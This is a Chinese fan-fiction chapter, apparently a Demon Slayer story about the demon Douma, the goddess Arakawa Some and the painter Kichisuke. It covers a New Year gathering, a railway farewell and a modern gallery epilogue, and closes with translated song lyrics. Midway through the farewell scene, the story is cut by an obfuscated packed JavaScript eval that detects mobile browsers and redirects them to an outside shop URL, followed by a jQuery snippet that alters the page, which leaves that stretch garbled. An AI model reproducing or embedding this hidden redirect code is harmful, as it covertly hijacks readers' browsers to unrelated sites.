“小染,这孩子到底是在生气,还是在难过啊?” 荒川染摇了摇头:“都不对,那是开心呀,教主大人。我就说您完全没理解嘛。” “原来如此,这就是开心吗?人类在开心时也会哭吗?情感这东西好复杂哦…” “人类的情感本来就是很复杂的东西,所以就算暂时不理解也没关系。但如果想要理解一样东西的话,就该先承认自己不理解,再去请教别人。” 荒川染认真地看着他,“这一点儿也不丢人,而且,我猜信诚先生一定很愿意把人类的情感解释给您听,我说的对吗,信诚先生?” “还是叫我吉助吧,”吉助松开了抓着教主大人衣服的手,一副垂头丧气的样子,哑着嗓子说,“真是的,当着年轻女孩子的面哭成这样,才是真的丢人吧…” “没关系哦,吉助先生,毕竟再怎么丢人,也比不过因为吃错东西而输给人类的鬼呢。” “哈?” “小染说的太对啦,我最喜欢你这种认真又坦率的个性了~”教主大人热泪盈眶,一副相当感动的表情,“但你的锅好像在冒烟哦?” “锅…?诶?诶诶诶?!” 荒川小姐的矜持和优雅一下子消失的一干二净,她手忙脚乱地抓起旁边的茶壶就朝火上倒了下去。 牛油被烧糊的气味和腾起的水蒸气混在一起,在茶室中制造出了宛若仙境般飘渺的气氛。 在这应景的氛围中,“神之子”那张俊美的脸上徐徐绽放出一个邪恶的微笑。 “小吉啊…” 他像只狐狸似的眯起眼睛。 “你来的正好,陪我喝一杯吧~” 127. 【明治篇番外】未闻神名(完) “那个…您不会是真去了趟地狱吧?” “当然是真的啦。” 吉助瞪大了眼睛。 “要是别人说这话,我肯定觉得他脑子有毛病!”他咧嘴笑起来,“但如果是您的话,感觉一点也不奇怪呢…所以地狱真那么可怕吗?阎罗大王和八百小鬼没请您喝上一杯?” 教主大人端着酒杯,露出那副似笑非笑的戏谑表情: “没有那种东西哦,小吉。那不过是人类妄想出的童话而已。所谓天国和地狱都是人类的意念形成的世界,人心里喜爱什么,惧怕什么,渴望什么,执着什么,那里就有什么。我这个人啊,心中空无一物,只有神明,所以就算在地狱里,也只看得见神明哦。” 吉助听得一头雾水,遂问道: “神明?可我记得您说过,神佛都是不存在的啊…神明是什么样子的?” 教主大人饮下杯中的酒,那双色彩奇异的眼眸里浮起了暧昧不明的暗光。 “神明啊…那可是世上没有的美味呐~” 他舔舔嘴角的残酒,笑嘻嘻地看向一旁的那位少女: “实在是…相当的美味呢。” 吉助感到了某种久违的寒意。他早已明白那些消失的女信徒究竟是去了何处,这位荒川小姐举止优雅得体,看着不像贫寒人家出身,不知为何会沦落到给鬼当侍女的地步。不管怎么说,得找个机会暗示她一下才好,否则肯定会和那些可怜的女人一样,被这容貌俊俏的恶鬼吃干抹净。 然而下一刻他就清楚地看到… 荒川小姐毫不优雅地翻了个白眼。 “你到底吃还是不吃?” 她面无表情地说。 也难怪,这姑娘左手端着碗,右手的筷子夹了一片牛肉,已经保持这个姿势半天了,正常人大概胳膊早酸到抬不起来,她居然坐姿端正,纹丝不动,只是现在面色不善,连说话都省了敬语。 “干嘛那么严厉嘛,”教主大人瞬间变出一张哭脸,好像受了天大的委屈,“这么难吃的东西,不这么办的话,人家就是吃不下嘛…” “难吃的东西不会因为别人用手喂到你嘴里就变好吃。” 荒川小姐瞪着他,一点也没有要妥协的意思:“况且到底是谁说‘偶尔试试人类的食物也不错’来着?过年的时候浪费可是要遭天谴的。” “诶?真的吗?” “当然是真的,没有比浪费食物的人更可恶的了。” “是怎样的天谴呢?” 荒川小姐显然没预料到这个问题,愣了愣,有点没底气地说:“好像是…在地狱里把自己一辈子剩下的饭都吃光。” “我明白啦!”教主大人一副恍然大悟的样子,“就是因为人家从不浪费食物,每次都吃的很干净,在地狱里才没有东西吃嘛!所以说做人不能太善良了,果然平时还是应该多浪费一点才对。对了对了,小吉,这孩子其实是…” 狡辩的话刚说到一半,荒川小姐就黑着脸将筷子上的牛肉塞进了他嘴里,动作快到吉助只看到残影。 教主大人被喂了一口煮的半生不熟的肉,非但没生气,反倒有些洋洋自得: “…这孩子其实是武士家的女孩子,所以别看平时很可爱,生起气来超~可怕的哦,现在寺院里的事都是她说了算,连我都经常被她欺负呐!” 嘴上这么说着,他却把空了的酒杯送到荒川小姐面前,还理所当然地晃了晃,那姑娘的脸色更黑了,但再怎么不情愿,也只能拿起酒壶完成“侍女”的工作。 看来世道之变化果然势不可挡,武家也沦落至此啊… “说起这个,”心情似乎很好的教主大人笑眯眯地说,“小吉你也老大不小了,难道还没有恋爱对象嘛?这可不行呀,没体会过恋爱的人生不是完整的人生哦。” “好女人难找嘛…再说这种事谁比得了您啊,连武家的大小姐都…” “我不是什么大小姐,母亲只是旗本家地位最低的侍妾。” 没想到荒川小姐忽然开口,用坦然的语气说道。 “而且恕我直言,教主大人所谓的恋爱简直像小孩子一样幼稚。” “诶?”教主大人顿时睁大了眼睛,不依不饶地争辩起来,“我怎么幼稚啦?哪一次不是小染说去哪里玩,咱们就去哪里玩嘛!上次去浅草那边人家还给你买了宝石项链呐!” “你还好意思说!”荒川小姐将手里的酒壶“砰”地放下,“那种东西一看就是用来骗你这种有钱的笨蛋的,要不是那家店的店员…不对,我要说的不是这件事,是之前在不忍池那次你扯我腰带的事!” “好过分,那次明明是你说天气太热了,想把和服脱掉来着吧。” “只是随口说说而已,并没有让你真的帮我脱啊!” “可那时小染脸红的样子很可爱哦?明明就是想让人家帮忙吧?” “连衬裙都被人看到我当然会脸红了!” “噗…哈哈哈…” 吉助终于忍不住,弯下腰大笑起来。 “我果然是个笨蛋啊…” 他笑的停不下来,“不,大家都是笨蛋…到底为什么…会把您当成神之子啊?” “不是早就告诉过小吉嘛,我不是神之子,而是鬼呀。” 不知是不是喝了太多酒产生的幻觉,教主大人的笑容似乎真实了许多。 鬼的尖牙还在,瞳孔中的黑色墨迹和头顶如同泼血的印记却不见了…除此之外,到底是哪里变得不一样了呢? 但这样的您…让人感到安心。 比任何时候看起来都要开心的您…让人感到安心。 “我是鬼,我的名字是童磨。” 面前的男人垂下眼眸,以毫无虚饰的语气微笑着说道。 “这是那位大人赐予我的、重要的名字哦。今后我会作为‘童磨’,继续在这世上活下去。” 原来如此…原来如此… 您和我一样…找到了自己的路啊…… “什么呀…” 吉助嘿嘿笑道。 “这名字…也太奇怪了吧…” 他往后一仰,倒在榻榻米上,很快就发出了响亮的鼾声。 “哎呀?这孩子不行啊,才这么点酒就醉啦?” 鬼望着呼呼大睡的吉助,脸上露出了兴味索然的神情。 “才这么点酒?酒桶都快见底了好吗!吉助先生!吉助先生!您不要紧吧!” 染用力拍着不省人事的吉助的脸,直到对方像梦话般嘟囔了句“…好痛”,才松了口气。 “真是服了你,全是酒的味道。” 她走到茶室一侧,将朝向庭院的门拉开。 天色将明,下了一夜的雪也停了。屋檐下的灯笼发着暖黄色的光,地炉里的汤锅还在发出咕嘟咕嘟的声响,除此之外,山林寂静无声,冰冷的空气裹着松树的清香涌入室内。 “啊,这下好多了。” 荒川的神明伸了个懒腰,在缘侧坐了下来,又像想起什么似的,回头向地炉的方向招了招手。一只带盖的木碗晃晃悠悠的浮上了半空,飘过半个房间,落在了她手里。 “忘了还有这个,等吉助先生醒了再给他吃吧。” 她打开盖子,捧着碗深深吸了口气。 “好香!” “是什么呀?” 鬼的声音在她身后响起,只是一眨眼的工夫,手里的碗就不见了。 “诶…是红豆汤啊。” “今年是我煮的,放了很多砂糖,大家都说味道很不错哦!” “错了哦。” “诶?” “做法错了,”鬼满脸遗憾地指了指碗里,“年糕都切成方的啦。” “才没错呢!”染一把将碗抢了回来,不服气地说,“我小时候吃过所以记得很清楚,那家店就在大名小路那边,15文钱一碗。前些天我还路过门口呢,可惜已经改成吴服店了…” “就是不对嘛,应该用圆的年糕团子哦。” “年糕明明是方的,哪有圆的!” “白姬小姐真是个脑子一根筋的孩子,人家拿你没办法啦。”童磨颇为无奈地叹了口气,提高声音朝院子的方向喊道: “山田——” 因为在守岁的缘故,一身白衣的山田先生很快赶了过来。 “教主大人,您叫我…哎哟,小吉这是怎么啦?” “喝醉了而已,不用管他啦。” 教主大人握着金扇,摆出一副和蔼可亲的表情,“那句话是怎么说的来着?对了,我——有个问题想请教你。” “……” 山田先生瞪大了眼睛,像听到了什么闻所未闻的奇谈一样。 “教…教主大人…”他额头冒汗,说话也结巴起来,“请教什么的…” “吓成这样干什么,人家又不会吃了你。”教主大人笑的极其纯良,“我的问题是,红豆汤里的年糕,到底应该是圆的还是方的呀?” “年…年糕?” “山田先生,怎么办嘛?”染郁闷地捧着那只碗走到护教先生面前,“教主大人说我做错了,可我明明记得年糕就是方的啊。” “还以为出了什么事呢…” 山田先生擦擦汗,长出了一口气。 “荒川小姐是东京这边的人吧?” “啊,是,小时候的确是在这边…” “那就对了。小豆汤这东西虽然不起眼,但每个地方的做法都不一样。东京的店里为了图省事,才用去掉皮的豆子和切成块的烤年糕,但在关西那边,要先用黑砂糖把不去皮的小豆腌过,再加上年糕团子一起煮,这样做出来的风味更浓厚,看起来也更吉利,过年敲钟的时候,京都的寺院都会煮一大锅给来祈福的人吃,所以也叫‘善哉’。咱们寺院里用的还是京都的做法,荒川小姐刚来不久,不了解也正常啊。” 山田先生把醉的不成样子的吉助扶去休息。染带着名叫芥子的小姑娘帮他们安顿好,才回到茶室熏香和泡茶。 “教主大人不愧是上方出身,在品味这方面还真是意外的厉害呢。” 她边将伽罗香木放进雕着莲花的镂空香炉里,边有意揶揄道。 “说起来,你的教团搬到江户有上百年了吧,居然连料理都还是京都的做法,也不知道到底是谁比较一根筋啊。” 本打算小小的报复一下对方,染却看见那只鬼依然坐在缘侧,将那碗早已冰冷的红豆年糕汤放在手里,若有所思地用勺子搅来搅去,顿时感到有点不好意思: “那个…果然做的太差劲了吗?下次…” “我想起来啦。” 鬼突然说道。 “第一次吃这个,是母亲大人做的哦。” 染怔了怔,她看见童磨的嘴角微微挑起,浮现出一抹说不清是怀念还是讽刺的古怪笑意。 “之前告诉过白姬小姐吧,母亲她一直不许我吃点心,因为怕吃坏牙齿,笑起来不好看。” 他的语气极为淡漠,仿佛说起的是与自己毫不相干的事。 “结果到我六岁那年换牙的时候,可把她给愁坏啦。缺了门牙的小孩子多难看呀,说话还会漏风,就算穿上丝绸的衣服、挂上翠玉的念珠也没用,所以那段时间她就干脆把我关在内室,不许我见任何人,可能是觉得被关起来的我太可怜了,就给我做了这个。” “神子大人是这世上最完美的孩子,言行举止都必须完美才行,如此才能指引大家,所以请不要怪我对您严苛——她是这么说的。我那可怜的母亲大人呀…” 鬼用勺子一下下戳着碗里的年糕,像是在戏弄什么一样。 “可是,看到小吉的时候,我才知道原来小孩子是可以说‘不要’的。” “真想知道啊…”他像是感叹般说道,“如果我那时说了‘不要’,又会是怎样的结果呢?” “觉得遗憾吗?” 染捧着茶杯在他身边坐了下来。 “不会哦,从来没有过那样的感觉,只是有点好奇而已。”童磨一手支着脸颊,朝她没心没肺地笑道:“白姬小姐就没有想过吗?如果不是在九岁就死掉的话,你会成为什么样的人呢?” “我吗…” 荒川的水神望着积满白雪的庭院,喃喃道。 “命好的话,大概会在父亲大人的安排下嫁给哪个御家人,为对方的家族生下继承人,就那样度过一生吧。” “听着也不怎么样嘛。所以白姬小姐还是没我厉害,我在这世上活了很久,而且完成了使命哦。” 鬼得意洋洋地说。那语气就好像在等待谁夸奖的小孩子一样。 染转过头看着那名为“童磨”的鬼,和幼年在江户初见时一样,神子的眼神天真无邪,不见一丝阴霾。 于是她笑着点了点头。 “是啊,你在世上活了很久,真好。” 虽然命运从未偏爱我们,但还能和你见面,真是太好了。 能和这样的你一起,按照自己的意志活下去,这就是我想要的“人生”。 哪怕不再以人类的身份,哪怕背负着罪孽。 “童磨,”她用笃定的语气说,“忘了告诉你,那条项链我很喜欢,谢谢。” “真是的,人家还以为你不喜欢呐。” “怎么会!你送的礼物我全都喜欢!但比起珠宝,我还是更喜欢点心,所以下次送我点心吧,福砂屋的卡斯特拉就不错,啊,对了,上次那个信乐烧的茶碗也很漂亮呢!” 面前的鬼露出了有点苦恼的表情: “这可叫人如何是好,白姬小姐一点也不像个女孩子呀,如果是人类的话,人家真的好担心你会嫁不出去…哦哦,你确定要用这招来对付我吗?” “我也想起来了,我小时候的梦想就是用这个狠狠砸你一次!” 染跳进雪地里,用双手团了个雪球,冲他笑着喊道: “敢用血鬼术的话,就再也不跟你玩了!” “看样子你很有自信嘛~” “都说了不许用…你作弊啊啊啊!” 那个被人类以江户城的名字命名的时代,已经结束了。 那个我们作为人类诞生和死去的时代,那个孕育了我们,也吞噬了我们的时代,终于结束了。 “啊——得救了!还以为要赶不上火车了!” 直到看见位于丸之内的东京车站那红白相间的西洋式大楼,吉助才长出了一口气。 毕竟,当他在寺院的客房里带着宿醉的头痛醒来时,距离发车时间还剩不到两个小时了。 “请不必担心。” 荒川小姐却胸有成竹地说。 “一定能准时到达的。” 所以…还真是个不可思议的姑娘啊! 吉助站在那辆相当时髦的“福特”牌洋车旁,偷看了一眼坐在驾驶位上、泰然自若地握着方向盘的少女,掏出手帕擦了擦额头的汗。 “您不必介意,这也是我的工作范围。” 那姑娘好像看穿了他在想什么似的,冷静地答道。 教主大人的恋爱对象…已经强到这种程度了吗? “不不,恕我冒昧,只是觉得像荒川小姐这样的人,到底为什么…” “…因为欠债。”荒川小姐有点不自然地微笑着说。 “欠、欠债?” “是呀,这孩子欠了我不少钱呐,整整一座神社哦~” 汽车后座传来个颇为欢快的声音。吉助这才想到,更不可思议的明明是这件事才对。 “教…教主大人…您又是什么时候…?” “小吉是说阳光的事吗?”教主大人披着件暗红色的长羽织,像个有钱人家的大少爷一样懒洋洋地斜倚着车门,“虽然还是不太喜欢,但已经没关系啦。” “没…没关系了?” 吉助呆呆望着那张他从小就熟悉的脸,似乎从初次相遇开始,伴随这个人的就只有黑色的法衣、祭坛的烛火和霜一般寒冷的月光。这是他平生第一次见到午后的阳光照射在那双冰晶般透亮的虹色眼眸中,在那一刻,他明白了为什么眼前这个男人被信徒们称为“神之子”。 那是连身为画家的他也从未见过的、美丽到近乎虚幻的色彩。 他低下头,捂住了脸。 “真是太好了…” “诶?小吉怎么又哭了呀?”教主大人孩子气的撅起嘴巴,“都说了我这种善良的人一定会有好报嘛~” 因为我一直,一直,都想看到这一天啊… 您终于能站在阳光下。 您终于不再是孤伶伶的一个人。 您终于…得到了幸福。 “吉助先生,火车要开了。” 荒川小姐适时地提醒道。 吉助用力擦了擦眼睛,拎起手提箱。 “教主大人,请您多保重。”他低声说。 “哈哈,有空给我写信哦~” “……” 吉助叹了口气。 “您就没什么告别的话要对我说吗?” “诶?” 站台上报时的钟声响了起来。 “…算了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252404|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 吉助摘下帽子,深深鞠了一躬。 “荒川小姐,”他用极为郑重的语气说,“教主大人就拜托您了。” “请放心吧,吉助先生。” 心照不宣的,荒川染也朝他微微躬身道。 “诶诶?这算什么事嘛!怎么感觉完全没能介入你们的对话似的!”教主大人立刻抗议起来,“把人家丢在一边是不可以的哦!” 荒川小姐额角青筋直冒:“你要说什么就赶快说啊,吉助先生一直在等着呢!” “真的要说嘛?” “快一点啦!” “这样的话…” 教主大人弯起了嘴角。 “小吉,去做你想做的事,走你人生的路吧。” 他语气轻柔地说道。 “就算没有神佛保佑,相信你也一定能得到幸福。” “还有,能遇见小吉,我很开心哦,所以,给我看看你生命的意义吧。” 吉助睁大了眼睛,手不由自主地攥紧了帽子。 然后,他像十七岁那年一样,笑得露出了雪白的牙齿。 “等着瞧吧,一定证明给您看!” 三十二岁的铁谷信诚,再次登上了前往关西的火车。 只不过这一次,他心中没有任何遗憾。 “接下来要去的是…”染翻了翻手里的记事本,“吾妻桥。” “诶?咱们不是说好了要去银座看电影的嘛?” “电影是在晚上啦!寺里的纸和墨快用完了,我要先去那边的店里买一点,之前答应了山田先生教大家写字的事。” “人家真是搞不懂小染啊…” 童磨装模作样地叹了口气。 “你可是神明诶,就这么喜欢人类吗?” “我是神明,但那又如何呢?” 染看着车站前来来往往的人潮,平静地说。 “在我看来,神明也好,鬼也好,只要生在这世上,就都是‘众生’。如果一直被当作神明的话,是没办法理解其他生命的,我是这样想的。” “我对人类谈不上有多喜欢,但像吉助先生这样的人,我认为值得我们帮助。” “况且,”她露出一个狡黠的微笑,“神明可没法去吾妻西餐厅吃他们新出的蛋包饭,但我可以。” “蛋包饭?那又是什么呀?” “蛋包饭就是蛋包饭!你都不看画报的吗?” “小染看的那是少女画报吧?” “少女画报怎么了?不要看不起女孩子啊!” “人家才没看不起女孩子呐!女孩子最可爱啦!…所以蛋包饭到底是什么呀?” “是一种鸡蛋做的料理,具体的我也不知道,所以才要去试试看嘛!如果好吃的话,下次就带芥子那孩子…” “就知道小染只是嘴硬而已,”鬼笑嘻嘻地说,“你明明很喜欢和人类相处吧?” “你不是也一直和人类在一起吗,还好意思笑话我?” “诶…说起这个,小吉好像忘了还我钱哦。” “…这么重要的事你怎么现在才说啊!!” 尾声 “这张《御岳山晴雪》是第二代飞鸟斋…也就是我的曾祖父,在大正八年的作品,用的画法是他独创的,只有对光影的运用到达炉火纯青的程度,才能画出这种雪后日出的效果。听我爷爷说,曾祖父一生最爱绘画和摄影,所以很擅长结合两者的优势呢。” 画廊的展厅内,身着条纹和服的年轻画家兴致勃勃地说道。 “对了,关于这幅画还有个灵异故事来着。爷爷说,曾祖父平时从不相信神灵这种东西,但有一次居然偷偷告诉他这座山里有神明居住,因为头天夜里下了很大的雪,第二天下山时山路上却干干净净,一丁点雪也没有,那样才赶上了火车,哈哈哈,老人家很可爱对不对?” “这张是爷爷出生时的照片,不知道为什么,曾祖父特别喜欢拍照片,在那个年代这种爱好很少见啊,因为胶片很贵,据说为这事被曾祖母数落过很多次呢!但正因为这样,我们才能在画展之后有机会办他的个人摄影展,没想到超级受欢迎,毕竟现在的人都爱大正浪漫嘛,冰淇淋和咖喱饭刚刚出现的时代是什么样的呢?光是想想就觉得很不可思议…” “这次多亏了荒川小姐的资助,我们才能从美国收回曾祖父的遗作,真是不胜感激。不过说起来也真奇怪呢…曾祖父的日记里也提到过一位姓‘荒川’的小姐,还让爷爷把他拍的照片都保留好,说有一天一定会有人来看的,他晚年在新泽西的家里有整整一地下室的照片呢,我们这次展出的只是其中的十分之一都不到。这么说的话,还真是神奇的缘分呢!” “这张是他获奖后在加州艺术学院讲日本版画的照片,曾祖父他老人家超级厉害,八十岁高龄还能做演讲,啊,那张是他在阿拉斯加钓鳕鱼…” 彩色照片上,白发苍苍的老者骄傲地提着一条大鱼,在渔船上咧嘴大笑,身后是无尽的蔚蓝大海和成群的海鸥。 “变成老头子了啊…小吉。” 戴着浅色墨镜的高挑男子弯下腰仔细端详着那张照片,俊美的脸上露出了微笑。 “不过,看样子你度过了幸福的一生哦。” “那个…请问…” 几名穿制服的少女围了上来,其中一个有点羞涩地问道: “能跟您合个影吗?” “当然可以啦~” 男子有着极为罕见的白橡色长发,声音温柔而沉稳,少女们的脸顿时通红。 “那个…如果可以的话,能不能…交换下联系方式?我们是鹡鸰女子学院的学生…” “这个恐怕不行哦,我已经有女朋友啦。”男子遗憾地说,“但各位小姐这么可爱,我也实在不忍心辜负你们的心意,所以如果有机会的话,可以来我家的古董店玩哦?” “古董店?!好厉害!” “是超级厉害的店哦~”男子趁机拿出一把亮闪闪的银色卡片发给少女们,“有缘的话我还可以现场帮大家占卜一下恋爱运呐~” “童磨,你差不多够了啊…” 一名身着黑色短裙的女子转过身无奈地说。 “好不容易回来一次,结果每天店里都挤满了女高中生,我可不想被学校起诉诈骗啊。” 说罢,她的视线就被一幅画吸引了过去。 “这是…” 那是一幅逆光的雪景,画中只有黑白两色,纯白的庭院前,黑色的走廊上,有两个影子。 一名身披法衣、头戴毗卢帽的男子,在他身边,有个小小的孩子伸出手,牵住了他的衣袖。 画的右侧用汉字写着一句松尾芭蕉的俳句: 日月乃百代之过客。 童磨不知何时凑了过来。他用指尖轻轻触碰那几个字,仿佛触碰着百年之前、甚至更加久远的某一段时光。 “原来如此,这就是生命啊…” 神之子轻声说道。 未闻神名·完 ————— 《傷跡》 词曲:梶浦由記 从寂静中迈步而出 走向从未见过的爱的景色 只因想要相信这疼痛 穿越黑夜 我心上你曾触及的地方 留下了一个温柔的伤口 曾费心隐藏的泪水 染成红色滴滴零落 冰冷的肌肤上 终于点亮了一片片花瓣 我就在这里啊 在这里歌唱着幸福 梦境就快要结束了吧 在满天星斗终于消失的时候 为了感受生命的存在 请你将我紧紧拥抱 因为诞生于寂静 不了解何谓温暖 只是想要找寻生命所在 穿越黑夜 深深眷恋的夏雨 正目送我远行 希望我能带着泪水前往 彼此信任的开端 无论喜悦还是悲伤 都想深深铭刻于心 与你同在 这幸福的余韵之中 在满天星斗终于消失的时候 在初次看到的炫目光芒之中 亲吻这眼眸吧 请赐予我恋情的痕迹 让生命贯穿我的躯体 我愿尝试哭泣 从寂静中迈步而出 走向从未见过的遥远黎明 只因想要实现心中夙愿 穿越黑夜